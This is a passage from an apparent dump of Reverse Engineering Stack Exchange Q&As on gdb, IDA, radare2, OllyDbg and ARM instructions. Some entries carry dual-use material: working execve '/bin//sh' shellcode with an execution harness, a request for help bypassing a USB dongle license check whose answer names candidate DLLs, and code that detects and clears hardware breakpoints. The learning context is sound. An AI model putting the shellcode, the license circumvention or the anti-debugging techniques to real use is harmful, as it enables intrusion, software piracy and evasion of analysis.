0x7ffff7dd2000     0x7ffff7dd4000     0x2000   0x1b1000 /usr/lib/libc-2.26.so\n  0x7ffff7dd4000     0x7ffff7dd8000     0x4000        0x0 \n  0x7ffff7dd8000     0x7ffff7dfd000    0x25000        0x0 /usr/lib/ld-2.26.so\n  0x7ffff7fcc000     0x7ffff7fce000     0x2000        0x0 \n  0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]\n  0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]\n  0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x24000 /usr/lib/ld-2.26.so\n  0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x25000 /usr/lib/ld-2.26.so\n  0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 \n  0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]\n  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]\n</code></pre>\n\n<p><strong>maint info section</strong>:</p>\n\n<pre><code>file type elf64-x86-64.\n [0]     0x00000238-&gt;0x00000254 at 0x00000238: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS\n [1]     0x00000254-&gt;0x00000274 at 0x00000254: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS\n [2]     0x00000274-&gt;0x00000298 at 0x00000274: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS\n [3]     0x00000298-&gt;0x000002b4 at 0x00000298: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS\n [4]     0x000002b8-&gt;0x00000360 at 0x000002b8: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS\n [5]     0x00000360-&gt;0x000003e4 at 0x00000360: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS\n [6]     0x000003e4-&gt;0x000003f2 at 0x000003e4: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS\n [7]     0x000003f8-&gt;0x00000418 at 0x000003f8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS\n [8]     0x00000418-&gt;0x000004f0 at 0x00000418: .rela.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS\n [9]     0x000004f0-&gt;0x00000508 at 0x000004f0: .rela.plt ALLOC LOAD READONLY DATA HAS_CONTENTS\n [10]     0x00000508-&gt;0x0000051f at 0x00000508: .init ALLOC LOAD READONLY CODE HAS_CONTENTS\n [11]     0x00000520-&gt;0x00000540 at 0x00000520: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS\n [12]     0x00000540-&gt;0x00000702 at 0x00000540: .text ALLOC LOAD READONLY CODE HAS_CONTENTS\n [13]     0x00000704-&gt;0x0000070d at 0x00000704: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS\n [14]     0x00000710-&gt;0x00000718 at 0x00000710: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS\n [15]     0x00000718-&gt;0x0000074c at 0x00000718: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS\n [16]     0x00000750-&gt;0x00000840 at 0x00000750: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS\n [17]     0x00200de0-&gt;0x00200de8 at 0x00000de0: .init_array ALLOC LOAD DATA HAS_CONTENTS\n [18]     0x00200de8-&gt;0x00200df0 at 0x00000de8: .fini_array ALLOC LOAD DATA HAS_CONTENTS\n [19]     0x00200df0-&gt;0x00200fd0 at 0x00000df0: .dynamic ALLOC LOAD DATA HAS_CONTENTS\n [20]     0x00200fd0-&gt;0x00201000 at 0x00000fd0: .got ALLOC LOAD DATA HAS_CONTENTS\n [21]     0x00201000-&gt;0x00201020 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS\n [22]     0x00201020-&gt;0x00201030 at 0x00001020: .data ALLOC LOAD DATA HAS_CONTENTS\n [23]     0x00201030-&gt;0x00201038 at 0x00001030: .bss ALLOC\n [24]     0x00000000-&gt;0x00000011 at 0x00001030: .comment READONLY HAS_CONTENTS\n</code></pre>\n",
        "Title": "Understanding gdb output",
        "Tags": "|disassembly|gdb|elf|",
        "Answer": "<p>Seems like <em><a href=\"https://en.wikipedia.org/wiki/Relocation_(computing)\" rel=\"nofollow noreferrer\">relocation</a></em>. If you look at the addresses in your first listing, you will notice that these addresses are unusually low. That's probably because gdb displays file offsets there (although I have no idea why that is the case for you).</p>\n\n<p>When you run the file, the loader kicks in and maps the sections to the virtual address space of the program, and thats where the <code>0x0000555555554000</code> section offset comes from. </p>\n\n<p>You can see the file offsets of each section using <code>maint info sections</code>. You can get information about the actual mapped memory sections using <code>info proc mappings</code> at runtime.</p>\n\n<p><strong>edit:</strong></p>\n\n<p>Based on the output of the commands above, everything seems to be alright.</p>\n\n<pre><code>[12]     0x00000540-&gt;0x00000702 at 0x00000540: .text ALLOC LOAD READONLY CODE HAS_CONTENTS\n</code></pre>\n\n<p>This line states that the <code>.text</code> section of your code starts at file offset 0x540 and ends at 0x702 containing code. If your compare it with your first disassembly starting at offset 0x64a, this is a decent fit.</p>\n\n<pre><code>0x555555554000     0x555555555000     0x1000        0x0 /tmp/test\n</code></pre>\n\n<p>This line states that the executable itself was mapped to the base address <code>0x555555554000</code>. Given the offset from before, that means your main function should be at <code>0x555555554000 + 0x64a</code>. Your second disassembly confirms that.</p>\n"
    },
    {
        "Id": "16528",
        "CreationDate": "2017-10-11T05:54:03.457",
        "Body": "<p>I'm trying to bypass the license validation process of a very old program called COSIMIR. It uses a USB dongle (which we have) however I don't have access to it, because it belongs to my university. </p>\n\n<p>And there is a student version of COSIMIR, the problem is that it isn't compatible with anything we do in the other one, so I copied every file of the Industrial version into my lap and got the installation fixed with olly (because many things where missing). I had to do this because the person who installed this software (and therefore the one with the installer) doesn't work there anymore.</p>\n\n<p>After fixing it up, and being able to execute it from start to end I finally got into the activation failure screen, the problem is, I don't know where to start. I mean, which <code>.dll</code> is used to initialize the dongle? My plan was to avoid its init, and see if I can jump my way though without creating an exception, is my first crack with a dongle, so I don't know if it's the right way to go. Also this is the screen I get popped into:</p>\n\n<p><a href=\"https://i.stack.imgur.com/58Qwu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/58Qwu.png\" alt=\"enter image description here\"></a></p>\n\n<p>However, after seeing it, I started wondering if it would be easier to try to bypass one of the other 2 methods, by the way I'm like 80% sure it just uses the dongle for the license.\nAlso, I'm almost sure it uses a Marx Dongle, since the one we have attached in the back of the computer we have licensed looks exactly like this one:</p>\n\n<p><a href=\"https://i.stack.imgur.com/MXhcf.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MXhcf.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>However the one the installation guide of COSIMIR indicates, looks completely different.\nAlso, even though I cannot detach that dongle (because it is secured to the PC mainly because somehow the PC will stop working is we disconnect it, I still can do some fast debugging commands in there lie a run trace or stuff like that.</p>\n\n<p>To keep things short, my main question is: Which library should I put my breakpoint on if I want to avoid the USB access? my main suspects are:</p>\n\n<ul>\n<li>COMCTL</li>\n<li>COMBASE</li>\n<li>UCRTBASE</li>\n</ul>\n\n<p>and my secondary suspects are</p>\n\n<ul>\n<li>CRYPTBASE</li>\n<li>BCRYPT</li>\n</ul>\n\n<p>Also, I'm going to try to reach the Company by mail as Nordwald suggests, but even if I get a positive response, I would enjoy the help, for learning purposes.</p>\n",
        "Title": "Where should I put my breakpoint? (USB dongle protected software, probably marx)",
        "Tags": "|debugging|usb|dongle|",
        "Answer": "<p>According to their <a href=\"https://www.marx.com/documents/information_material/crypto-box/english/SmarxOS_Compendium_en_2018-03-27.pdf\" rel=\"nofollow noreferrer\">developer documentation</a>, it could be one of the following dll files:</p>\n\n<pre><code>mpiwin32.dll\nCBIOSVB6.DLL\nWebLM.dll\nCBIOS4NET.dll\nCBIOS4NET64.dll\n</code></pre>\n\n<p>It's always a good idea to go to the dongle's manufacturer website and see if they have document for developers describing their API.</p>\n"
    },
    {
        "Id": "16542",
        "CreationDate": "2017-10-13T15:14:37.287",
        "Body": "<p>I'm using IDA Pro 7.0.</p>\n\n<p>I am analyzing a library that is part of a larger ARM executable, so there are often calls to external functions that aren't in this library. Therefore obviously the address of the call does not get symbolicated correctly. For example, the program might be calling <code>mmap</code>, which is at <code>0x12345678a</code> , but it shows up as</p>\n\n<pre><code>BL              0x12345678a\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>BL              _mmap\n</code></pre>\n\n<p>I have a text file that lists all the external functions and their addresses; i.e., one of the lines of this file is</p>\n\n<pre><code>12345678a _mmap\n</code></pre>\n\n<p>So I want to write a script to rename the locations in IDA based on this external file.</p>\n\n<p>Can anyone tell me what the IDC or IdaPython command would be to associate the address <code>0x12345678a</code> with the name <code>_mmap</code> so that these calls show up correctly in the disassembly?</p>\n\n<p>Something like <code>MakeName(0x12345678a, '_mmap')</code> doesn't work, because <code>0x12345678a</code> doesn't exist in any segment of the library I'm inspecting. Also, I would prefer them not to show up in the names list if possible.</p>\n",
        "Title": "Give a name to an arbitrary hex value in IDA Pro",
        "Tags": "|ida|idapython|",
        "Answer": "<p>You can't rename the locations, because by your own admission, they don't exist.  In this case, if you're not worried about maintaing control flow information and just want to see the name that corresponds to the address, you can do a couple of things.</p>\n\n<h2>Inline Comments</h2>\n\n<p>You can write an IDAPython script to:  </p>\n\n<ol>\n<li>Parse your text file  </li>\n<li>Locate all of the unresolved BL calls, extract the address  </li>\n<li>Look up the name in your parsed symbol information  </li>\n<li>Create a comment in the database with the symbol name using the <strong>idc.MakeComm(ea, symbol_name)</strong> function  </li>\n</ol>\n\n<p>This will get you an inline comment with the symbol name, something like this:  </p>\n\n<pre><code>BL 0x12345678a  # _memmap\n</code></pre>\n\n<h2>Make an Enum from the Symbol Info</h2>\n\n<p>If you wanted to change the representation of the raw address to a string, you can create an enum out of the data in the text file, and then apply that enum to the operand of all the BL instructions that have unresolved targets.  This should effectively give you a name for that call target, even though the address doesn't exist in the database, like so:</p>\n\n<pre><code>BL _memmap\n</code></pre>\n\n<p>You can accomplish this a couple of ways: by using the IDAPython enum functions (AddEnum/AddConstEx), assuming you have processed your text file into a list of tuples of (symbol, addr):</p>\n\n<pre><code>id = idc.AddEnum(index, \"MyEnum\", flags)\nfor symbol, addr in text_info:\n    idc.AddConstEx(id, symbol, value, bmask)\n</code></pre>\n\n<p>You can then use the <strong>idc.OpEnumEx()</strong> function wherever you have a raw address in your BL instruction to set that operand to your enum type.</p>\n\n<p>You can also convert your text information file into a C header file with a single enum representing your mapping, but this is a bit more tedious.</p>\n\n<p>Be warned, this is only cosmetic.  Attempting to utilize any of the xref capabilities will fail, because it's not actually an address in the database, just a symbolic representation of the immediate value.  </p>\n\n<h2>Conclusion</h2>\n\n<p>Both of the previously described methods will get you the information you want without adding items to the Names list.</p>\n\n<p>If you wanted to maintain control flow information and get them to \"show up correctly in the disassembly\", you would have to create plt/got segments to simulate the rest of your address space. It's a bit more complicated, but doable if you need to do more complex analysis or want to take advantage of IDA's library recognition and type propagation.  Sounds like you just need the visual assistance of the symbol name, though.  Hope this helps.</p>\n"
    },
    {
        "Id": "16544",
        "CreationDate": "2017-10-14T02:31:55.370",
        "Body": "<p>Since <em>software breakpoints</em>, unlike <em>hardware breakpoints</em> , do change the code, it's relatively easy to write a program that performs a checksum on itself as an anti-debugger technique. Is it possible to do something similar with hardware breakpoints?</p>\n",
        "Title": "Detecting hardware breakpoints",
        "Tags": "|anti-debugging|breakpoint|",
        "Answer": "<p>This is a really good question since this topic isn't as popular as anti-debugging techniques to detect software breakpoints. Since you didn't mention the architecture we have to keep in mind that Hardware Breakpoints, as its name hints, are depends on the hardware you're running on and thus the implementation of such breakpoints is differ between each architecture. Since we can't cover in this answer all the architectures, I'll write here in an assumption that we're talking about <a href=\"https://en.wikipedia.org/wiki/X86\" rel=\"noreferrer\">Intel's x86 architecture</a> on Windows.  </p>\n\n<p>In short, the answer is <strong>yes</strong>. There are basically two common ways to detect hardware breakpoints:</p>\n\n<ol>\n<li>Using thread's context to access Debug Registers</li>\n<li>Crafting a <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx\" rel=\"noreferrer\">SEH</a> (Structured Exception Handling), then to cause an exception and access the debug registers  </li>\n</ol>\n\n<p>In order to understand each method we should understand first what Hardware Breakpoint is and (in short) how it works.  </p>\n\n<h2>Hardware Breakpoint</h2>\n\n<p>In <em>x86</em> architecture the debugger uses a set of Debug Registers in order to apply hardware breakpoints. There are 8 debug registers exists to control the debugging procedure, ranging from <em>DR0</em> to <em>DR7</em>. These registers are not accessible from <em>ring3</em> <a href=\"https://en.wikipedia.org/wiki/Protection_ring\" rel=\"noreferrer\">privileges</a> but only accessible from CPL0 (<em>Current Privilege Levels</em>, ring0). Thus, an attempt to read or write the debug registers when executing at any other privilege level causes a general protection fault. The debug registers allow the debugger to interrupt program execution and transfer the control to it when accessing memory to read or write. </p>\n\n<p><strong>x86 Debug Registers</strong></p>\n\n<ul>\n<li>DR0 - Linear breakpoint address 0</li>\n<li>DR1 - Linear breakpoint address 1</li>\n<li>DR2 - Linear breakpoint address 2</li>\n<li><p>DR3 - Linear breakpoint address 3</p></li>\n<li><p>DR4 - Reserved. Not defined by Intel</p></li>\n<li><p>DR5 - Reserved. Not defined by Intel</p></li>\n<li><p>DR6 - Breakpoint Status</p></li>\n<li>DR7 - Breakpoint control</li>\n</ul>\n\n<p>DR0-DR3 store a linear address of a breakpoint. The stored address can be the same as the physical address or it needs to be translated to the physical address. <em>DR6</em> indicates which breakpoint is activated. <em>DR7</em> defines the breakpoint activation mode by the access modes: <em>read</em>, <em>write</em>, or <em>execute</em>.</p>\n\n<h2>Detecting Hardware Breakpoints</h2>\n\n<p><strong>Method one - ThreadContext Win API</strong>  </p>\n\n<p>The following example is based on an example from <a href=\"https://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide\" rel=\"noreferrer\">this</a> article from CodeProject. The example is commented to describe each piece of code:</p>\n\n<pre><code>bool IsHWBreakpointExists()\n{\n    // This structure is key to the function and is the \n    CONTEXT ctx;\n    ZeroMemory(&amp;ctx, sizeof(CONTEXT));\n\n    // The CONTEXT structure is an in/out parameter therefore we have\n    // to set the flags so Get/SetThreadContext knows what to set or get.   \n    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\n    // Get a handle to our thread\n    HANDLE hThread = GetCurrentThread();\n    // Get the registers\n    if(GetThreadContext(hThread, &amp;ctx) == 0)\n        return false;   \n\n    if ((ctx.Dr0) || (ctx.Dr1) || (ctx.Dr2) || (ctx.Dr3)) {\n        return true;\n    }\n    else {\n        return false;\n    }\n} \n</code></pre>\n\n<p><strong>Method 2 - SEH</strong><br>\nThe SEH method of manipulating the debug registers is much more common and is easier to implement it in Assembly, as shown in the following example, again from CodeProject:</p>\n\n<pre><code>ClrHwBpHandler proto\n .safeseh ClrHwBpHandler\n\nClearHardwareBreakpoints proc\n     assume fs:nothing\n     push offset ClrHwBpHandler\n    push fs:[0]\n    mov dword ptr fs:[0], esp ; Setup SEH\n     xor eax, eax\n     div eax ; Cause an exception\n     pop dword ptr fs:[0] ; Execution continues here\n     add esp, 4\n     ret\nClearHardwareBreakpoints endp\n\nClrHwBpHandler proc \n     xor eax, eax\n    mov ecx, [esp + 0ch] ; This is a CONTEXT structure on the stack\n     mov dword ptr [ecx + 04h], eax ; Dr0\n     mov dword ptr [ecx + 08h], eax ; Dr1\n     mov dword ptr [ecx + 0ch], eax ; Dr2\n     mov dword ptr [ecx + 10h], eax ; Dr3\n     mov dword ptr [ecx + 14h], eax ; Dr6\n     mov dword ptr [ecx + 18h], eax ; Dr7\n     add dword ptr [ecx + 0b8h], 2 ; We add 2 to EIP to skip the div eax\n     ret\nClrHwBpHandler endp\n</code></pre>\n\n<h2>References:</h2>\n\n<ul>\n<li><a href=\"https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-system-programming-manual-325384.html\" rel=\"noreferrer\">Intel\u00ae 64 and IA-32 Architectures Software Developer Manual: Vol 3</a></li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/0387098240\" rel=\"noreferrer\">Identifying Malicious Code Through Reverse Engineering</a> </li>\n<li><a href=\"https://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide\" rel=\"noreferrer\">An Anti-Reverse Engineering Guide</a></li>\n<li><a href=\"https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software\" rel=\"noreferrer\">Anti Debugging Protection Techniques</a></li>\n</ul>\n"
    },
    {
        "Id": "16553",
        "CreationDate": "2017-10-15T17:10:35.957",
        "Body": "<p>I am working on a basic shellcode that will spawn a shell after getting called in a 32-bit program.\nHere is the shellcode i'm using:</p>\n\n<pre><code>xor    %eax,%eax  \npush   %eax  \npush   $0x68732f2f  \npush   $0x6e69622f  \nmov    %esp,%ebx  \npush   %eax  \npush   %ebx  \nmov    %esp,%ecx  \nmov    $0xb,%al  \nint    $0x80  \n</code></pre>\n\n<p>(Source: <a href=\"http://shell-storm.org/shellcode/files/shellcode-827.php\" rel=\"nofollow noreferrer\">http://shell-storm.org/shellcode/files/shellcode-827.php</a>)</p>\n\n<p>I am successfully using this shellcode when i hardcode it inside the exploited program:</p>\n\n<pre><code>char *shellcode = \"\\x31[...]x80\";  \nint main(void)  \n{  \n    (*(void(*)()) shellcode)();  \n    return 0;  \n}  \n</code></pre>\n\n<p>But when i try to read the shellcode from the standard input, i get a segmentation fault instead. This is the program used:</p>\n\n<pre><code>#include [...]\ntypedef void (*func)(void);\nint main(void)\n{\n    char input[4096];\n    read(0, input, 4096);\n    ((func)&amp;input)();\n    return 0;\n}\n</code></pre>\n\n<p>When i debug this program with gdb, i can see that everything goes as planned until this instruction:</p>\n\n<pre><code>int    $0x80\n</code></pre>\n\n<p>Where the program doesn't do anything and continue to the next instruction like nothing happened, which make the program crash.</p>\n\n<p>At first i thought this was because i didn't disabled some execution prevention, but i'm compiling with the following flags:</p>\n\n<pre><code>gcc shell.c -o shell -fno-stack-protector -m32 -z execstack\n</code></pre>\n\n<p>I could really use help on it, I've been stuck on it all day.</p>\n",
        "Title": "Basic shellcode doesn't work when read from stdin",
        "Tags": "|x86|linux|shellcode|",
        "Answer": "<p>Different ways answer from <strong>sudhackar</strong>, you can just add <code>push edx</code> to zeroing <code>edx</code> in your shellcode</p>\n\n<pre><code>xor eax, eax\npush eax\npush 0x68732f2f\npush 0x6e69622f\nmov ebx, esp\npush eax\npush ebx\npush edx\nmov ecx, esp\nmov al, 0xb\nint 0x80\n</code></pre>\n"
    },
    {
        "Id": "16558",
        "CreationDate": "2017-10-16T02:08:11.477",
        "Body": "<p>I started to use radare2 to debug a PE file because it stops working as soon as I run it. When I attach my debugger and continue execution to the point where the exception is thrown I get a memory address in which the exception occurred.</p>\n\n<p>What can I do with this address to further analyze the problem at hand?</p>\n\n<pre><code>c484f\\mscorlib.ni.dll) mscorlib.ni.dll\n(14116) loading library at 77130000 (C:\\Windows\\SysWOW64\\ole32.dll) ole32.dll\n(14116) loading library at 70100000 (C:\\Windows\\SysWOW64\\uxtheme.dll) uxtheme.dll\n(14116) loading library at 700A0000 (C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll) mscorjit.dll\n(14116) loading library at 6C3C0000 (C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll) Culture.dll\n(14116) unloading library at 6C3C0000 (C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll) Culture.dll\n(14116) Unknown exception e06d7363 in thread 10352\n</code></pre>\n",
        "Title": "Disassembling at a memory address",
        "Tags": "|disassembly|windows|pe|radare2|",
        "Answer": "<p><em>Since the question in the subject is slightly different than the question in the body of your question, I'll focus on the first one.</em>  </p>\n\n<h2>Disassemble at a specific address</h2>\n\n<p>In order to disassemble the code at a specific memory address using radare2 you should use the <code>pd @ &lt;address&gt;</code> command. </p>\n\n<blockquote>\n  <p>pd[?] [sz] [a] [b] \u2014 disassemble N opcodes (pd) or N bytes\n  (pD)</p>\n</blockquote>\n\n<p>After attaching radare to the program you should be able to print the disassembly in this specific address. Assuming the <code>pid</code> of the program is <em>317</em>:  </p>\n\n<pre><code>$ radare2 -d 317\n= attach 317 317\nbin.baddr 0x00400000\nUsing 0x400000\nasm.bits 64\n\n[0x7f2e51727230]&gt; pd @ &lt;address&gt;\n</code></pre>\n\n<p><code>pd</code> is a subcommand of <code>p</code> and stands for <strong>p</strong>rint <strong>d</strong>isassembly. You can check <code>p?</code> and especially <code>pd?</code> for more relevant subcommands. Adding <code>?</code> at the end of most of the commands in radare will print its help and its subcommands. By default, <code>pd</code> prints <em>b</em> instructions from the specified address where <em>b</em> is the default basic-block size. The default size of <em>b</em> is 0x100 but you can change it easily using <code>b &lt;size&gt;</code>.</p>\n\n<p>The <code>@</code> sign is radare's temporary seek address so whenever you want to print the disassembly in a specific address you should use it. The number specified before the <code>@</code> sign is the number of instructions to print. A common mistake is executing <code>pd</code> with the address before <code>@</code>. Thus, executing <code>pd 0x400000</code> would print <strong>0x400000 instructions</strong> from the current seek.</p>\n\n<hr>\n\n<h2>The exception</h2>\n\n<p>You received <em>\"Unknown exception e06d7363\"</em> which is an exception generated by <em>Microsoft Visual C++ compiler</em>.  </p>\n\n<p>As stated in Microsoft's <a href=\"https://support.microsoft.com/en-us/help/185294/prb-exception-code-0xe06d7363-when-calling-win32-seh-apis\" rel=\"noreferrer\">support page</a>:</p>\n\n<blockquote>\n  <p><strong>Cause</strong><br>\n  All Visual C++ exceptions thrown from code generated by the\n  Microsoft Visual C++ compiler contain this error code. Because this is\n  a compiler-generated error, the code is not listed in the Win32 API\n  header files. The code is actually a cryptic mnemonic device, with the\n  initial \"E\" standing for \"exception\" and the final 3 bytes (0x6D7363)\n  representing the ASCII values of \"msc\".</p>\n</blockquote>\n\n<p>To continue your analysis I'd suggest you to read <a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20100730-00/?p=13273\" rel=\"noreferrer\">Decoding the parameters of a thrown C++ exception (0xE06D7363)</a> and its <a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20160915-00/?p=94316\" rel=\"noreferrer\">revisited</a> article.</p>\n\n<p>Note that the addresses of the executable in the memory might change in each run, depends on your system and the program itself. Therefore, sometimes you won't be able to predict what would be the address which causes the exception.  </p>\n\n<p>Check the <a href=\"https://radare.gitbooks.io/radare2book/content/debugger/migration.html\" rel=\"noreferrer\">Migration from ida, GDB or WinDBG</a> page from <em>radare2 book</em> to see radare's corresponding commands to WinDBG's.</p>\n"
    },
    {
        "Id": "16563",
        "CreationDate": "2017-10-16T09:45:27.743",
        "Body": "<p>There is something I am not understanding. Why do debuggers sometimes show only part of the call stack? The ones I tried are WinDbg and OllyDbg.</p>\n\n<p>Let me explain what I mean. Consider this example:</p>\n\n<p>I launched an application, and when a dialog box showed up, I attached OllyDbg to the application and paused to look at the call stack. However, I see this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/4lVTP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4lVTP.png\" alt=\"Call stack\"></a></p>\n\n<p>As you can see, this is the call stack of the main thread of the application. Unfortunately, the presented call stack seems to stop at <code>ntdll</code> and does not continue to show the functions in the executable. Because this is the main thread, <code>main()</code> has definitely not returned as otherwise the process would have terminated.</p>\n\n<p>When I try using WinDbg, a similar thing happens for me as shown <a href=\"https://stackoverflow.com/questions/46602527/windbg-not-showing-entire-call-stack\">here</a>.</p>\n\n<p>Why does this happen, and how do I find the full call stack?</p>\n",
        "Title": "Why do debuggers sometimes not show entire call stack?",
        "Tags": "|windows|ollydbg|callstack|",
        "Answer": "<p>Olly and WinDbg generate the 'call stack' by parsing the actual stack utilizing function signatures and calling convention. When the disassembler doesn't have the signature (e.g. when the developer didn't disclose the function signatures) it can only take educated guesses based on push- and pop-instructions (thin ice).</p>\n\n<p>The problem is, you actually need this information to calculate the size of the stack frames properly. Without this information, you can not tell if there is data on the stack or if its the return address of the next function.</p>\n\n<p>You can overcome these issues by keeping track of calls yourself without relying on the actual stack, maintaining a call stack yourself. In cases like this, implementation often limits the depth of the tracking list.</p>\n\n<p>Sadly, I can not tell you how its exactly implemented in OllyDbg. If you consider utilizing a more modern debugger, you may reach active developers capable of helping you with this.</p>\n\n<p>For example, this is the current <a href=\"http://x64dbg.readthedocs.io/en/latest/gui/views/CallStack.html\" rel=\"nofollow noreferrer\">state of the call stack in x64dbg</a>:</p>\n\n<blockquote>\n  <p>When Show suspected call stack frame option in the context menu in\n  call stack view is active, it will search through the entire stack for\n  possible return addresses. When it is inactive, it will use standard\n  stack walking algorithm to get the call stack. It will typically get\n  more results when Show suspected call stack frame option is active,\n  but some of which may not be actual call stack frames.</p>\n</blockquote>\n"
    },
    {
        "Id": "16567",
        "CreationDate": "2017-10-17T00:24:01.427",
        "Body": "<p>Hello I try to learn reverse engineering, so i use from <code>process hacker</code> to view dynamic strings in the process's memory... (<a href=\"https://reverseengineering.stackexchange.com/a/11147/21966\">more info</a>)</p>\n\n<p>i get something like this :</p>\n\n<pre><code>Address  Length Result\n-----------------------\n0x853978 (43): hello\n0xfb5e1a8 (86): hello alex !\n</code></pre>\n\n<p>now i want to know how can i get/find reference address for them ? </p>\n\n<p>I try with <code>WinHex</code> but i cant, i don't know how can i do this, is it possible to find reference assembly address in file form memory address (for ex : <code>0x853978</code>) or this is not possible in any way.</p>\n\n<p>anyone can help ?</p>\n",
        "Title": "possible to get reference assembly address in file for special memory address?",
        "Tags": "|disassembly|assembly|binary-analysis|memory|processhacker|",
        "Answer": "<p>When you are using Process Hacker to find strings, you will look at a running process. Process Hacker iterates over the mapped parts of the processes virtual memory and tries to parse everything it finds as a string.</p>\n\n<p>When you use WinHex to look at your binary, these sections have not been mapped yet and are cramped together into the binary.</p>\n\n<p>tl:dr;</p>\n\n<p>Use another program to check for strings (e.g. exe explorer, pe studio, ida, binaryninja, ...), use a debugger to find the strings at the adresses process hacker tells you, or calculate the file offset utilizing the section information.</p>\n\n<p>Could you clarify what you are trying to do?</p>\n\n<p><strong>edit</strong></p>\n\n<p>if you want to find references to strings in code, you are best off utilizing a decent disassembler (binaryninja, radare2, ida pro). It will show you references it can find:</p>\n\n<p><a href=\"https://i.stack.imgur.com/UI1nW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UI1nW.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16582",
        "CreationDate": "2017-10-20T04:52:39.070",
        "Body": "<p>According to documentation, the LDRD instruction works, as follows</p>\n\n<pre><code>LDRD    R8, R9, [R3, #0x20];  load r8 from a word 32 bytes above the address in R3, and load r9 from  a word 36 bytes above the address in R3\n</code></pre>\n\n<p>I understand the first part, R8 loads from a word 32 bytes(0x20) above R3. Its the second part I don't understand. Why is it 36 bytes instead of 32?</p>\n",
        "Title": "Help with LDRD Instruction",
        "Tags": "|ida|disassembly|arm|",
        "Answer": "<p>Please referr to the actual <a href=\"https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf\" rel=\"noreferrer\">instruction manual</a>.</p>\n\n<p>from page A4-50:</p>\n\n<blockquote>\n  <p>LDRD (Load Registers Doubleword) loads a pair of ARM registers from two consecutive words of memory.\n  The pair of registers is restricted to being an even-numbered register and the odd-numbered register that\n  immediately follows it (for example, R10 and R11).</p>\n</blockquote>\n\n<p>tl/dr: 36 is 32 + 4 (it loads to concecutive words)\nbasically it says at offset 0x20 to r3, get two words for r8 and r9.</p>\n"
    },
    {
        "Id": "16586",
        "CreationDate": "2017-10-20T14:48:12.080",
        "Body": "<p>I have the following program:</p>\n\n<pre><code>int main() {\n    char buff[11] = \"helloitbd9\";\n    int x = 4;\n    printf(\"%d\", x);\n\n    return 0;\n}\n</code></pre>\n\n<p>I can see the string \"helloitbd9\" through a hexdump of the binary, in the beginning of the data section. However, what I don't understand is why when I search for \"all referenced strings\" I only get \"%d\" as a result? Is it because the search only looks for strings which are used in functions? Is there a way to search for all \"strings\" in the data section? </p>\n\n<p>Image:\n<a href=\"https://i.stack.imgur.com/81KeS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/81KeS.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Searching for strings in ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>From my experience, <em>OllyDbg</em> is not so good with handling string references. </p>\n\n<blockquote>\n  <p>Is it because the search only looks for strings which are used in functions?</p>\n</blockquote>\n\n<p>As far as I know, \"Search for >> All referenced text strings\" is searching, well, for strings which are <strong>referenced</strong> in the assembly. It is not searching for a strings in the whole binary, even if they're exist somewhere in the binary. If you want to search for strings in the whole binary you can use your favorite hex-editor or other utilities such as Sysinternals' <a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/strings\" rel=\"noreferrer\">strings</a>.</p>\n\n<p>We should keep in mind, though, that whether or not a string which is being used in the code itself (e.g, just assigned to a variable which is never used in the program) will be showed in the binary, might changed in different compilers. Some of them would show the assigning even though the variable is never used, some would still keep the string in the binary but you won't see it in the assembly and others would ignore it entirely and would not include the string in the binary at all.</p>\n\n<p>Another thing that worth mentioning is that disassemblers sometimes not recognizing strings and would mistake it with hexadecimal values. In such cases you might see something like this:</p>\n\n<pre><code>...\nmov     eax, 6C6C6568h\n...\nmov     eax, 6274696Fh\n...\nmov     eax, 3964h \n</code></pre>\n\n<p>Instead of showing it as <code>mov     eax, \"helloitbd9\"</code>.</p>\n\n<blockquote>\n  <p>Is there a way to search for all \"strings\" in the data section?</p>\n</blockquote>\n\n<p>You said that you saw the string with a hex editor, you should be able to find it with OllyDbg through looking at the memory 